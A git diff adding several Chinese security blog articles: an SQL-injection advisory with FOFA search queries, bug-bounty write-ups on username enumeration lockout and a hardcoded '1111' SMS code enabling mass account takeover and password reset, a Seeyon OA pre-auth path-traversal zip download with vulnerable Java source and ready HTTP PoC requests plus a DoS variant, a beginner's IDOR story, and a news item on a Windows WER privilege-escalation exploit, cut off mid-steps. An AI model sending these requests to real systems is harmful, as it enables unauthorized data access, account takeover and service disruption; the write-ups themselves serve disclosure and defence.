+![图片](https://mmbiz.qpic.cn/mmbiz_png/Melo944GVOJECe5vg2C5YWgpyo1D5bCkhic5lbbPcpxTLtLccZ04WhwDotW7g2b3zBgZeS5uvFH4dxf0tj0Rutw/640?wx_fmt=other&from=appmsg&wxfrom=5&wx_lazy=1&wx_co=1&randomid=vx7xykg3&tp=webp#imgIndex=1 "") + +![图片](https://mmbiz.qpic.cn/mmbiz_png/Melo944GVOJECe5vg2C5YWgpyo1D5bCk524CiapZejYicic1Hf8LPt8qR893A3IP38J3NMmskDZjyqNkShewpibEfA/640?wx_fmt=other&from=appmsg&wxfrom=5&wx_lazy=1&wx_co=1&randomid=x3261qcu&tp=webp#imgIndex=2 "") + +内容仅用于学习交流自查使用，由于传播、利用本公众号所提供的 +POC +信息及 +POC对应脚本 +而造成的任何直接或者间接的后果及损失，均由使用者本人负责，公众号Nday Poc及作者不为此承担任何责任，一旦造成后果请自行承担！ + + +**01** + +**漏洞概述** + + +热网无线监测系统 RealTimeOther.asmx 接口处存在SQL注入漏洞，未经身份验证的远程攻击者除了可以利用 SQL 注入漏洞获取数据库中的信息（例如，管理员后台密码、站点的用户个人信息）之外，甚至在高权限的情况可向服务器中写入木马，进一步获取服务器系统权限。 +**02****** + +**搜索引擎** + + +fofa: +``` +body="Downloads/HDPrintInstall.rar" || body="skins/login/images/btn_login.jpg" +``` + +![](https://mmbiz.qpic.cn/mmbiz_png/8o9dnzNIF1gmlicWne0rXNeO9DBeqsPuJjQcOoj3T9JStjXHNBp44ywWdThDQWiaibd8eVQc8zPEOto1RAwMZ0b9v6hQv4eyBTsJlfozdibRE8E/640?wx_fmt=png&from=appmsg "") + + +**03****** + +**漏洞复现** + +![](https://mmbiz.qpic.cn/mmbiz_png/8o9dnzNIF1hutjibMra6DObk8TDBq6y5kgbpia2CiczJnaaDCfE3cOOpXxVoOaL7aKZDSqS6Pelkm5wUtJV57ic74oeCib60lKs2YGvRZpbxYwlk/640?wx_fmt=png&from=appmsg "") + + +**04** + +**自查工具** + + +nuclei + +![](https://mmbiz.qpic.cn/mmbiz_png/8o9dnzNIF1iaumVS8r2RYNzHdZNrZibl9hics2621jFC6m3Ss4b9teEQZ6mEg7QSKzNCMFErul5BiaF6njHcx1tTjVsOrquGnvYus786sCuAzHw/640?wx_fmt=png&from=appmsg "") + +afrog + +![](https://mmbiz.qpic.cn/mmbiz_png/8o9dnzNIF1gGzKCuvjJf0N4YeEg7CTmuCiaicgibHUeKUxZMtPictsDRz6iaACFAtRtDa6OyMf88k5yaicnSp8EFI90stjqdocicK6LzeRyqzNymSo/640?wx_fmt=png&from=appmsg "") + + +**05****** + +**修复建议** + + +1、关闭互联网暴露面或接口设置访问权限 + +2、升级至安全版本 + + +**06****** + +**内部圈子介绍** + +### 【Nday漏洞实战圈】🛠️ + +专注公开1day/Nday漏洞复现 · 工具链适配支持 + +✧━━━━━━━━━━━━━━━━✧ + +🔍 **资源内容** + +▫️ 整合全网公开1day/Nday漏洞POC详情 + +▫️ 适配Afrog/Nuclei检测脚本 + +▫️ 支持内置与自定义POC目录混合扫描 + +🔄 **更新计划** + +▫️ 每周新增7-10个实用POC（来源公开平台） + +▫️ 所有脚本经过基础测试，降低调试成本 + +🎯 **适用场景** + +▫️ 企业漏洞自查 ▫️ 渗透测试 ▫️ 红蓝对抗 ▫️ 安全运维 + +✧━━━━━━━━━━━━━━━━✧ + +⚠️ **重要声明** + +▫️ +仅限合法授权测试，严禁违规使用 + +**▫️虚拟资源服务，购买后不接受任何形式退款** + +▫️ +付款 +前请评估需求，慎重考虑 + +![图片](https://mmbiz.qpic.cn/sz_mmbiz_png/8o9dnzNIF1hhRKwmDzX2s9ZtVSaMZb1ThRRkqQzOy2CdGb8M1SiaRdFekQibu9vPUX3IEETLZm8JP1ZjBKCfRBwqUjLKqJEI4rLYDiay8GJ0k4/640?wx_fmt=png&from=appmsg&watermark=1&wxfrom=5&wx_lazy=1&tp=webp#imgIndex=8 "") + + diff --git a/doc/2026-03/用户名枚举漏洞并可被利用导致账户被恶意封禁算不算漏洞.md b/doc/2026-03/用户名枚举漏洞并可被利用导致账户被恶意封禁算不算漏洞.md new file mode 100644 index 00000000..4a1729e6 --- /dev/null +++ b/doc/2026-03/用户名枚举漏洞并可被利用导致账户被恶意封禁算不算漏洞.md @@ -0,0 +1,30 @@ +# 用户名枚举漏洞并可被利用导致账户被恶意封禁算不算漏洞 +原创 游山玩水 + 游山玩水 山水SRC 2026-03-03 05:04 + +## 概述 + +用户名枚举漏洞并可被利用导致账户被恶意封禁不算漏洞 + +补天不收 + +原因：用户枚举不收录，另外账密错误多次封禁账号是风 + +控设置，非漏洞，注意禁止批量测试影响其他真实用户。 + +感谢提交 +## 案例 + +输入不存在邮箱，发现存在用户名枚举 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/8tDOXFoCoQ96UgicK1jIOSxrPj1LTHiaq0rPqsKE0FcIvc6IuYRS4cno5GL82nzXw5NbicuDQ1XrPxs6Nj76gsSd7mky93FPJyKdTn4DDD2fg8/640?wx_fmt=png&from=appmsg "") + + +使用bp并发插件turbo-intruder在拦截到该数据包时发送到该插件（不放包），在数据包中添加%s，选择race.py点击攻击 + + +账号就被封禁了，感觉像永久封（因为当输入正确用户后一直输入错误验证码会封禁一小时） + +![](https://mmbiz.qpic.cn/mmbiz_png/8tDOXFoCoQ8VM0JwE3IZESqWJNs8732maGCdSDWbXakXQxjGI0ubUoSdyptK8gic3HkvQXbvlkb2EFGQJyhPQXPib9j8jyedHHiab1ThOv5YVI/640?wx_fmt=png&from=appmsg "") + + diff --git a/doc/2026-03/记一次SRC漏洞挖掘：万能验证码与任意用户密码重置之旅.md b/doc/2026-03/记一次SRC漏洞挖掘：万能验证码与任意用户密码重置之旅.md new file mode 100644 index 00000000..8932fbb3 --- /dev/null +++ b/doc/2026-03/记一次SRC漏洞挖掘：万能验证码与任意用户密码重置之旅.md @@ -0,0 +1,117 @@ +# 记一次SRC漏洞挖掘：万能验证码与任意用户密码重置之旅 +原创 tangkaixing + tangkaixing 开心网安 2026-03-03 02:55 + +**免责声明** + +由于传播、利用本公众号开心网安所提供的信息而造成的任何直接或者间接的后果及损失，均由使用者本人负责，公众号开心网安 +及作者不为**此** +承担任何责任，一旦造成后果请自行承担！如需要转载等，请标注文章来源。如有侵权烦请告知，我们会立即删除并致歉，谢谢！ +# 概述 + +很久没有在渗透测试中遇到验证码类的经典漏洞了，这次在某SRC的测试中，意外发现两个接口分别存在“万能验证码”和“验证码可爆破”问题，组合利用可导致任意账户登录及密码重置。本文记录这次小随笔，重温那些年我们一起挖过的逻辑漏洞， +于是我就记录下来，也水出一篇文章，感谢各位看官的理解与支持 +。 +# 正文/引言 + +说实话，在现在的SRC漏洞挖掘中，验证码绕过漏洞已经越来越少见 +[个人观点勿喷] +大部分系统都接入了成熟的短信服务商以及现在AI的加持等，验证码随机生成、有效期一分钟、错误几次就锁定等。然而，就在我测试某SRC在线学习平台时，一个古老的漏洞类型突然撞进眼帘，让我不禁感叹：经典永不过时啊。 +# 发现登录接口的“万能钥匙” + +目标是一个SRC教育类系统，登录页面支持手机号+短信验证码。抱着试试看的心态，随便输入一个测试手机号和1111验证码，然后抓取了登录请求包： + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/xqXavzxLiaDTXqRq5oQJtlWK61pCtU4iciaRHXlJZTiaS7MSibo11IibhuzD2EuSZ5kDQ6Kj1HMZ7D0dB9UVbsaRaevxAgRejSSS0bJuuydTFwDSk/640?wx_fmt=png&from=appmsg "") +``` +POST /xxxx/api/wap/v1/account/login HTTP/2 +Host: group.xxxx.cn +... +{"type":"code","code":"1111","phone":"13200000000"} +``` + +![](https://mmbiz.qpic.cn/mmbiz_png/xqXavzxLiaDTjernaEKvGvvTiaKGyHJgsu8xIriaKaMcKdJVm0Aia3nRIic86icJHWEcVDCaJtz1XcryVCdO7Rsxp7DPbSMmZCgXiaibhCbweiba2SGA/640?wx_fmt=png&from=appmsg "") + +响应成功返回了用户信息和token。 +code +字段的值是 +1111 +，这引起了我的警觉。难道这是一个万能验证码？我立刻在Burp Suite中修改手机号为自己另一个测试号码，同样返回成功token。接着，我直接使用收集到正常用户的手机号，依然返回成功。至此，可以确认： +后端未正确实现验证码验证机制，而是使用了固定值“1111”作为万能验证码 +。 +# 遍历手机号，接管海量账户 + +万能验证码意味着什么？意味着可以枚举手机号，批量登录任意用户。我迅速将请求包发送到Intruder，把 +phone +参数设置为payload位置，加载常见手机号段字典和收集到该src的相关手机号。几分钟后，上千个有效用户的toekn纷纷返回，虽然大部分是普通学生，但也不乏教师和管理员账户和测试用户。这漏洞一旦被恶意利用，后果不堪设想。 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/xqXavzxLiaDS68qibd4gD81EaBgu2agLX6kM3LHEUFDqiaAl5mNbZ8OjuFNzD0icS08nQnIYd105HTicoh2StJUOIe0CquQ0O9Lt59oStYsUz8ns/640?wx_fmt=png&from=appmsg "") +# 举一反三：密码重置接口的相同缺陷 + +登录接口沦陷后，我下意识地想到：密码重置接口会不会也存在同样的问题？毕竟很多开发会复用验证码校验逻辑。很快找到了重置密码接口： + +![](https://mmbiz.qpic.cn/mmbiz_png/xqXavzxLiaDQ8jq4icbt9t5YCLBAIqvVUHzyaEOuyQxXUXlE9toBwO38mib0sHrhtRFicqM3TCPgyvnUZiaItibTuic3RicKmAfnj9uG0NmqoSkck14/640?wx_fmt=png&from=appmsg "") +``` +POST /xxxxx/api/wap/v1/account/resetpwd HTTP/2 +Host: group.xxxxxx.cn +... +{"phone":"13200000000","code":"1111","password":"Aa123456"} +``` + +![](https://mmbiz.qpic.cn/mmbiz_png/xqXavzxLiaDSyzkdHQTtZjsG8Ek6Ecrce8oZ079WzsuI0DE6lypB6zVibaKDGbicyBWiadJJM187YTkiaPvFKskicV4SclJgzReb08Qu4sundx058/640?wx_fmt=png&from=appmsg "") + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/xqXavzxLiaDShb1icsUjMk7CdpLGiaUlE8slIftxM89qDYMxuDvbicG6dNZFP05dUMyd2ibJkRLgWYJhPa8sUY4lAvawiak52xk4d2KYQQF5BoxV4/640?wx_fmt=png&from=appmsg "") + +尝试修改手机号和密码，果然， +code=1111 +依然有效。更wo +艹的是 +，这个接口没有任何错误次数限制，也是可以暴力枚举常见的验证码组合（如 +0000 +- +9999 +），只要后端验证码不是动态生成的，就能轻易爆破成功。 +只需知道目标用户的手机号，即可通过该接口直接重置其密码，从而完全接管账户的风险。 +# 总结与反思 + +这两个漏洞的本质都是 +验证码校验机制缺失 +，但表现形式略有不同： + +登录接口 +：采用了硬编码的万能验证码，属于最原始的“后门”行为，可能是开发调试遗留。 + +重置接口 +：虽然验证码可能是动态生成的，但未限制尝试次数，且未绑定会话或手机号，导致可暴力枚举。 + +从攻击链来看，两个漏洞都是可以独立利用的，但组合起来威力更大：先通过登录接口获取任意手机号对应的token，再通过重置接口修改密码实现长期控制。这种“验证码类漏洞”在OWASP TOP 10中属于“失效的身份验证”范畴，虽然技术门槛低，但危害极大。 +# 为什么现在还能挖到这类漏洞？ + +按理说，验证码安全已是常识，为何高校和企业系统还会存在？我个人分析可能有以下几点： + +快速迭代遗留 +：很多系统由外包开发，上线前未做安全测试，调试代码被带到生产环境。 + +验证码服务降级 +：部分开发为了节省短信成本，在测试阶段使用固定码，上线时忘记替换。 + +缺乏纵深防御 +：即使验证码正确，也应检查手机号是否与当前会话匹配，但很多系统完全信任前端传入的数据。 +# 反思 + +这次挖掘经历让我重温了最初的渗透乐趣—不需要复杂的0day，仅仅靠逻辑缺陷就能拿下系统。验证码作为身份认证的第一道防线，必须做到以下几点： + +动态生成 +：验证码必须是随机数，且与手机号、会话绑定。 + +一次有效 +：验证通过后立即失效，防止重放。 + +限制尝试 +：错误次数过多应临时锁定，并增加图形验证码。 + +日志监控 +：记录异常请求，及时发现暴力破解行为。 + + +挖洞如此，人生亦然——有些经典漏洞，即使时代变迁，依然会以熟悉的面孔出现。而我们能做的，就是保持敏锐，让每一次“偶遇”都成为提升安全水位的机会。 + diff --git a/doc/2026-03/记一次某大型oa前台0day挖掘.md b/doc/2026-03/记一次某大型oa前台0day挖掘.md new file mode 100644 index 00000000..3d600874 --- /dev/null +++ b/doc/2026-03/记一次某大型oa前台0day挖掘.md @@ -0,0 +1,125 @@ +# 记一次某大型oa前台0day挖掘 +1771593898321415 + 1771593898321415 亿人安全 2026-03-03 02:45 + +## 原文首发在：先知社区 +## 原文链接：https://xz.aliyun.com/news/91624 +## +## 漏洞sink发现（任意zip文件下载） + + +1.想要寻找文件下载相关的漏洞，自然的联想到下载相关的请求头写法： +``` +response.setHeader("Content-Disposition", +``` + +2.将Lib文件中的jar包拖入jadx-gui进行寻找： + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/jkSyaHNyD48e2mF6pcC3BzOz07nWeUmz9R6JmSxPW70epYTM33rd5ZthWY7Gk4WQrRb28fobia0CicOtOC9409Cef7ZtxHXKw6rBib1uQibDMZg/640?wx_fmt=png&from=appmsg "") + +3.最终定位到如图所示代码： + +![](https://mmbiz.qpic.cn/mmbiz_png/jkSyaHNyD4icicjnkmSZpcgLujbbfCia1KHg0c3ib8wDfyZI0fznOLWnFUiaLAypk8BwmiaVOMWyoaRrUGUCUNmPKXxCTmzlTt0ZgPWTsibntic2qq4/640?wx_fmt=png&from=appmsg "") + + +4.往上跟发现是从cookie里面获取的（cookie内容我们是可控的）： + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/jkSyaHNyD4ibqDSd1rFhOL3pZDcU0JKPkx39GdyicSXy6SAUibaQqbjBykxhDX0JQYu2ZjpSKJz5hupfRncKPcaQ5DVBpOuZbh7F52k3ZTQ1mo/640?wx_fmt=png&from=appmsg "") + +## poc构造 + +1.我们复制文件的路径com.seeyon.apps.autoinstall.controller.AutoInstallController，在idea中搜索： + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/jkSyaHNyD49stGfyAEqTZ2aiayZb0M3JzerZDiaGCokvZtxbNzftVQDPjcRWr9ibPDZojicJJticrbXKVLckwR8vBny8ho5W53Qe7ndKue6SiaZicQ/640?wx_fmt=png&from=appmsg "") + +这个bean标签的name属性，就是我们需要访问的路由：autoinstall.do + +2.跟进发现AutoInstallController继承BaseController，而BaseController又继承MultiActionController： + +而且注意，这里有**@NeedlessCheckLogin** +注解，说明这里是一个前台就能访问的点，**不需要登录** +！ + +![](https://mmbiz.qpic.cn/mmbiz_png/jkSyaHNyD48HdhGISF76kSqrIrtLNibSOQjicOiaw3PVN4NtUlCytTeBrBGxT5ubia5IQAsAPROIicSibYC1l5ZicznQG3Kwic3wZvTxH9hgYUlicIoM/640?wx_fmt=png&from=appmsg "") +![](https://mmbiz.qpic.cn/sz_mmbiz_png/jkSyaHNyD49ykPYSWibo0FUSic4KOYLXSXmuUte6cgialWu8N6MoV1qS3TQ62d7fyqGw9reTsZDfZndzuLzWaKGNIb97RV0p3WuyGnyibwpxYZk/640?wx_fmt=png&from=appmsg "") + +这里补充一个知识点：MultiActionController是Spring MVC早期提供的一个多方法分发控制器基类  + +我们可以通过搜索methodNameResolver，找到传参方式：这里的value的值就是我们传参的值，也就是method=xxx （xxx为函数名） + +![](https://mmbiz.qpic.cn/mmbiz_png/jkSyaHNyD48cUic6WwLiaRw8YEvOicx9QkiatNSs4tArYvicfLq6Ax6cjyzyrCe65Gouibd3muiazRmvqdal72SLVibNiaHZfb28GZibbAl7glEjWNrOQ/640?wx_fmt=png&from=appmsg "") + +3.来到漏洞函数： +``` +@SetContentTypepublic ModelAndView regInstallDown64(HttpServletRequest request, HttpServletResponse response) throws Exception {    String localeName = "";    Cookie[] cookies = request.getCookies();    for(Cookie cookie : cookies) {        if ("login_locale".equals(cookie.getName())) {            localeName = cookie.getValue();        }    }    if (Strings.isBlank(localeName)) {        String lang = request.getHeader("Accept-Language");        Locale defaultLocale = lang == null ? (Locale)LocaleContext.getAllLocales().get(0) : LocaleContext.parseLocale(lang);        localeName = I18nUtil.getLocalAsString(defaultLocale);    }    if (localeName.contains(",")) {        localeName = localeName.substring(0, localeName.indexOf(","));    }    String separator = System.getProperty("file.separator");    String fileName = SystemEnvironment.getSystemTempFolder() + separator + "regInstall64_" + request.getServerName() + "_" + localeName + ".zip";    String url = request.getRequestURL().toString();    url = url.substring(0, url.indexOf(SystemEnvironment.getContextPath() + "/"));    OutputStream out = null;    BufferedInputStream br = null;    BufferedWriter writer = null;    try {        if (!(new CtpLocalFile(fileName)).exists()) {            String productLine = SystemEnvironment.getProductLine().replace("V5", "").replace("+", "");            String regDir1 = SystemEnvironment.getApplicationFolder() + separator + "autoinstall" + separator + "regInstall64";            String regDir2 = SystemEnvironment.getApplicationFolder() + separator + "autoinstall" + separator + "V5Common";            String tempDir = SystemEnvironment.getSystemTempFolder() + separator + UUID.randomUUID().toString() + separator + "regInstall64";            String urlTxt = tempDir + separator + "SeeyonActivexInstall" + separator + "url.txt";            String localeTxt = tempDir + separator + "SeeyonActivexInstall" + separator + "locale.txt";            CtpLocalFile tempFile = new CtpLocalFile(tempDir);            if (!tempFile.exists()) {                tempFile.mkdirs();            }            FileUtils.copyDirectoryToDirectory(new CtpLocalFile(regDir2), new CtpLocalFile(tempDir + separator + "SeeyonActivexInstall"));            FileUtils.moveDirectory(new CtpLocalFile(tempDir + separator + "SeeyonActivexInstall" + separator + "V5Common"), new CtpLocalFile(tempDir + separator + "SeeyonActivexInstall" + separator + productLine));            FileUtils.copyDirectoryToDirectory(new CtpLocalFile(regDir1), new CtpLocalFile((new CtpLocalFile(tempDir)).getParent()));            CtpLocalFile urlFile = new CtpLocalFile(urlTxt);            if (!urlFile.exists()) {                urlFile.createNewFile();            }            CtpLocalFile localeFile = new CtpLocalFile(localeTxt);            if (!localeFile.exists()) {                localeFile.createNewFile();            }            BufferedWriter var32 = new BufferedWriter(new FileWriter(new CtpLocalFile(urlTxt)));            var32.write(url);            var32.flush();            var32.close();            writer = new BufferedWriter(new FileWriter(new CtpLocalFile(localeTxt)));            writer.write(localeName);            writer.flush();            writer.close();            if (!(new CtpLocalFile(fileName)).exists()) {                ZipUtil.zip(new CtpLocalFile(tempDir), new CtpLocalFile(fileName), false, "GBK", ResourceUtil.getString("common.auto.install.Note2"));            }        }        br = new BufferedInputStream(new FileInputStream(fileName));        byte[] buf = new byte[1024];        int len = 0;        response.setContentType("application/x-msdownload; charset=UTF-8");        response.setHeader("Content-disposition", "attachment;filename=\"SeeyonActivexInstall64_" + localeName + ".zip\"");        out = response.getOutputStream();        while((len = br.read(buf)) > 0) {            out.write(buf, 0, len);        }    } catch (Exception e) {        if (e.getClass().getSimpleName().equals(this.clientAbortExceptionName)) {            log.debug("辅助程序下载异常：" + e.getMessage());        } else {            log.error("", e);        }    } finally {        if (out != null) {            out.close();        }        if (br != null) {            br.close();        }        if (writer != null) {            writer.close();        }    }    return null;} +``` + +4.我们先构造数据包，传入正常的cookie进行调试，找到文件读取的路径，如图： + +（**构造流程如下：该oa有一个contextPath为seeyon，大多数的路由都是以seeyon为根路由，而autoinstall.do正是我们之前寻找到的Controller对应bean属性的name值，method=漏洞存在的函数** +） +``` +POST /seeyon/autoinstall.do HTTP/1.1Host: 192.168.127.129X-Requested-With: XMLHttpRequestUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36Accept: application/json, text/javascript, */*; q=0.01Origin: http://192.168.127.129Referer: http://192.168.127.129/seeyon/main.do?method=mainAccept-Encoding: gzip, deflate, brAccept-Language: zh-CN,zh;q=0.9Cookie: login_locale=zh_CN;Connection: keep-aliveContent-Type: application/x-www-form-urlencodedContent-Length: 23method=regInstallDown64 +``` + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/jkSyaHNyD49mS5ImCglCffS9wmb0cHdVTZpwC9RcfPwMaSIL7KVCzcNLSuEcR4cVwdgK4LbqCuMUee91BhqRNOtqrGjOTJcH2ylGuhGDHibY/640?wx_fmt=png&from=appmsg "") + +![](https://mmbiz.qpic.cn/mmbiz_png/jkSyaHNyD48a0IdhaQBBOgunyqqVnup4xZNuXunIXIjjGl9L4FXTcxtSbJ34n0BH2iaqwwJTDdUpAhOUsBEFI2gAnyYuR2cUuqWv7Lvtovyc/640?wx_fmt=png&from=appmsg "") + +这里，我们找到了正常流程所在的目录： + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/jkSyaHNyD49F6ZDRvibxlPia5b2VJ0I5kNXRjHkejHs1TLHJgibMApRxUD2tpB1ibDMvfRdZDS6ZAfXfZ3GEibrDK8MI5D7WNqap8xicr41SdIcicg/640?wx_fmt=png&from=appmsg "") + +下载在这里： + +![](https://mmbiz.qpic.cn/mmbiz_png/jkSyaHNyD49VZu3oSVia3lFicF1jW2Xgn3DPBjUaQib6uJLUic6HvYDqltC7GYdZDac5VTkKBFMveRTP0LuiaEZs4ZfyGEOhcGOnibUaXddSYvaS4/640?wx_fmt=png&from=appmsg "") + +5.知道了文件所在路径，**由于cookie中并没有对目录穿越字符../的限制，代码中也没有对../进行限制** +，因此我们可以对login_locale进行构造，读取任意目录下的zip文件。 + +6.假设Logs目录存在一份打包过的Logs.zip文件，这里我们尝试读取它： + +![](https://mmbiz.qpic.cn/mmbiz_png/jkSyaHNyD48IIRmjZ0Y8ZxpOETmibPeN5uvhVhbGwx2j698rMT9HTSA8MrqRicPM6icvaKZjn5HwzsQQk26we1v5fsy9hqx0HvoevrYefhz93c/640?wx_fmt=png&from=appmsg "") + +根据上一步可知，我们之前的目录在C:\Seeyon\A8\base\temporary ，这样子是相差了两层目录，而代码中： +``` +String fileName = SystemEnvironment.getSystemTempFolder() + separator + "regInstall64_" + request.getServerName() + "_" + localeName + ".zip"; +``` + +这里如果我们使用目录穿越，也就是localeName存在../字符，那么前面的"regInstall64_" + request.getServerName() + "_"又会多出一个不存在的目录，因此我们需要跨越三层目录才能够读到Logs.zip。 + +漏洞poc如下：（构造login_locale=/../../../Logs;） +``` +POST /seeyon/autoinstall.do HTTP/1.1Host: 192.168.127.129X-Requested-With: XMLHttpRequestUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36Accept: application/json, text/javascript, */*; q=0.01Origin: http://192.168.127.129Referer: http://192.168.127.129/seeyon/main.do?method=mainAccept-Encoding: gzip, deflate, brAccept-Language: zh-CN,zh;q=0.9Cookie: login_locale=/../../../Logs;Connection: keep-aliveContent-Type: application/x-www-form-urlencodedContent-Length: 23method=regInstallDown64 +``` + +![](https://mmbiz.qpic.cn/mmbiz_png/jkSyaHNyD49ibCGhicJVicwORE2al2FhQlOoNs9k0YuIOOsPPmub1Yp0LiaTAkz0TEJia6bnQGNrCzAy6AfxqU3mlvXjqG3LUJdHvHgNqBh0iaOAA/640?wx_fmt=png&from=appmsg "") + +成功在前台读取到Logs.zip文件。 + +7.我们使用成功的payload，再跟一下代码： + +![](https://mmbiz.qpic.cn/mmbiz_png/jkSyaHNyD4icttKhggGY2duliaBj3aKdD0Lnn5bjrzic1EKTficiaZ2ymhm0nxqbiasmXEqF2aicrqbEibcVCzOWh9JiajqYWSYzU2vbNha3Ayu9Vfz0/640?wx_fmt=png&from=appmsg "") + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/jkSyaHNyD48PRWLzrAqqOho8SO1fyLenLibVIcEbUGmY7ibXm5A7WI2bTeuuL4bpm1Xybm3yuF9OZkDgFaVV0k8uQ6LDBav88yGlfyABKHTRQ/640?wx_fmt=png&from=appmsg "") + +可以看到，这里已经跨目录成功 +## 漏洞延伸（dos攻击） + +1.分析完漏洞可以发现，该漏洞可以读取系统中的任意zip文件，但是我们不好猜测文件的名字，因此略显鸡肋，因此我们继续看代码，看看有没有能够对系统造成破坏的点。 + +2.问题就出现在这里： + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/jkSyaHNyD4icUSFrgEj1uibEWQKYIib4VpwbNlTscqrOZWRm4icQht7HvCibq67VcY6wgKa2aehHIibxVotCw6DGcUDS8bAjIE4tJfF7zEvUxzb6c/640?wx_fmt=png&from=appmsg "") + +这里的CtpLocalFile就是对原生File类的一个封装，这段话的意思就是，如果fileName不存在，就重新创建一个，并且把一堆东西放入fileName，那这个fileName是什么呢，就是我们传入的login_locale进行拼接的呀，也就是说，我们可以**短时间内传入任意名字的压缩包到任意目录，进行dos攻击：** + +![](https://mmbiz.qpic.cn/mmbiz_png/jkSyaHNyD49qGcBBMvnbbworp8RpZrbVteibVuLxHmbNHXicPK9j0r9QwLX7f4sTBBw0w7KNwBybgRtdbhH6F1cHoY2VVws3ubfCfhXMgmEN8/640?wx_fmt=png&from=appmsg "") + +![](https://mmbiz.qpic.cn/mmbiz_png/jkSyaHNyD480pDeWFqBaiaV9n7wU03g3TXmkchEVfSBcDGNunxSUyuHoAticXpL8rAJoB8Jh4Eib71onuiaK4ZAricicQtfzYaUbJg5RBo69icEWWM/640?wx_fmt=png&from=appmsg "") +## 漏洞防护 + +说到防护，那自然是对login_locale进行字符过滤，防止传入../等恶意字符串进行跨目录的操作。 + + + diff --git a/doc/2026-03/那个凌晨，我终于挖到了人生第一个漏洞.md b/doc/2026-03/那个凌晨，我终于挖到了人生第一个漏洞.md new file mode 100644 index 00000000..77a76779 --- /dev/null +++ b/doc/2026-03/那个凌晨，我终于挖到了人生第一个漏洞.md @@ -0,0 +1,59 @@ +# 那个凌晨，我终于挖到了人生第一个漏洞 +web安全小白 + web安全小白 web安全小白 2026-03-03 07:33 + +我第一次挖到漏洞，是在2018年10月某日凌晨2点时。 + +不是因为我勤奋，是因为我实在睡不着。 + +那天之前，我已经在“越权”这个点上卡了两个星期。说出去可能没人信——就是那种最基础的、教程里一搜一大把的漏洞类型，我愣是挖不出来。 + +我当时的状态很拧巴。 + +一方面，我的网盘里塞满了教程：《某SRC实战全集》《零基础挖洞指南》《XX大佬内部培训视频》……每个标题都像救命稻草，我挨个下载、收藏、标记“待看”。 + +另一方面，每次打开实战环境，我就懵了。对着同样的参数、同样的请求包，我按教程里的步骤改了一遍又一遍，返回的永远是“403”或者“200 OK”但啥也没有。 + +我开始怀疑自己是不是吃这碗饭的料。 + +转机发生在那天下午。我没再开新课，也没再看新文章，就做了一件事：把那篇收藏了三次但从没细看的《越权漏洞》翻出来，把平板摊在桌上。 + +然后我对着漏洞环境，开始“拆”。 + +第一遍，我跟着文章里的步骤走，改参数，发请求，看结果。没绕过。 + +第二遍，我试着改参数的位置，从URL移到Cookie里。没绕过。 + +第三遍，我换了不同的HTTP方法，GET不行就POST。还是没绕过。 + +第四遍、第五遍……第十七遍。 + +凌晨两点多的时候，我已经麻木了。手指机械地点着BurpSuite的“Forward”，眼睛盯着返回包，脑子里其实什么都没想。 + +然后，我改了一个参数值——就是把“user_id=123”改成了“user_id=124”。 + +返回包弹出来了。 + +不是“403”，不是“200 OK but empty”，是实实在在的数据——本该属于另一个账号的订单信息。 + +我愣了几秒，然后对着屏幕傻笑了半天。 + +那一刻我突然明白一件事： +我之前刷的那几十个小时的课、记的那几百页笔记，加起来，不如这十七遍的“死磕” +。 + +因为我终于不是在“过”知识，而是在“用”知识了。 + +一个月后，我用同样的思路，在某SRC提交了第一个中危漏洞。虽然奖金只有几百块，但那种感觉，比存下第201个G的教程爽一万倍。 + +所以如果有师傅问我：新手挖洞，最重要的是什么？ + +我的答案是： +找一个最基础的漏洞类型，死磕它二十遍，直到你闭着眼睛都能复现出来 +。 + +别贪多。一个就够了。 + + + + diff --git a/doc/2026-03/针对 Windows 错误报告的 ALPC 权限提升漏洞利用程序已发布.md b/doc/2026-03/针对 Windows 错误报告的 ALPC 权限提升漏洞利用程序已发布.md new file mode 100644 index 00000000..8eb1fded --- /dev/null +++ b/doc/2026-03/针对 Windows 错误报告的 ALPC 权限提升漏洞利用程序已发布.md @@ -0,0 +1,40 @@ +# 针对 Windows 错误报告的 ALPC 权限提升漏洞利用程序已发布 +原创 网络安全9527 + 网络安全9527 安全圈的那点事儿 2026-03-03 04:17 + +最近，随着概念验证 (PoC) 漏洞利用程序的公开发布，一个影响 Microsoft Windows 的严重本地权限提升 (LPE) 漏洞被曝光。 + +该安全漏洞编号为 CVE-2026-20817，存在于 Windows 错误报告 (WER) 服务中。 + +该漏洞允许具有低权限的已认证用户以完整的 SYSTEM 权限执行任意恶意代码。 + +详细的研究和相应的 C++ PoC 漏洞利用程序由安全研究员 @oxfemale（在 X/Twitter 上也称为 @bytecodevm）发布在 GitHub 上。 + +此次发布凸显了Windows进程间通信错误报告机制中存在的重大安全漏洞。 + +该漏洞的核心在于高级本地过程调用（ALPC）协议。 + +WER 服务公开了一个名为 \WindowsErrorReportingService 的特定 ALPC 端口，以便与其他进程进行通信。 + +根据研究人员的发现，该缺陷具体存在于 SvcElevatedLaunch 方法中，具体方法编号为 0x0D。WER 服务完全无法正确验证调用用户的权限。 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/BicXBAdicJy7NCX0eiaHBQQ12icfia4UsWxP1FwEClrkFLuSpWBBIB5XubCKBBHn9LeCvQibC9GQUghq6s0xkqrIHvcjKMl7qSoQu7yeYVrRRHlIY/640?wx_fmt=png&from=appmsg "") + +因此，攻击者可以 使用从共享内存块提供的自定义命令行参数强制服务启动 WerFault.exe 。 +## 漏洞利用执行步骤 + +要成功触发漏洞，攻击者只需遵循以下一系列简单的操作： + +
动作
描述
创建共享内存创建一个包含任意恶意命令行信息的共享内存块。
连接至 WR ALPC 端口建立与 Windows 错误报告 (WER) ALPC 端口的本地连接。
